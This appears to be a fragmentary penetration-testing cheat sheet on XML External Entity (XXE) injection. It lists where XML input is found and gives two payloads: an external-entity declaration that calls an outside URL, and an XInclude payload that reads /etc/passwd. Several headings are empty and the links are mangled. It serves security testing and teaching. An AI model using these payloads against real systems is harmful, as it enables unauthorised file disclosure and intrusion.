XXE
XXE
# XML = SOAP
# REST API = JSON
1. Brief Description
2. Where to Detect
User Inputs: Forms or fields accepting XML input.
File Uploads: Systems allowing XML file uploads.
APIs: SOAP or REST APIs using XML.
Document Processing: Applications that process
XML documents, including Office files and SVGs.
Configuration Files: Any place where XML
configuration files are processed.
3. How to Detect
Manual Inspection:
Automated Scanning:
Fuzzing:
Basic Payloads:
Blind XXE :
<!DOCTYPE foo [<!ENTITY foo ANY> <!ENTITY xxe
SYSTEM "http://web.com"> ]>
<foo> &xxe; </foo>
<foo
xmlns:xi="http://www.w3.org/2001/XInclude"><xi:inclu
de parse="text" href="file:///etc/passwd"/></foo>
Chained Attacks:
Out-of-Band (OOB):
Conditional Execution: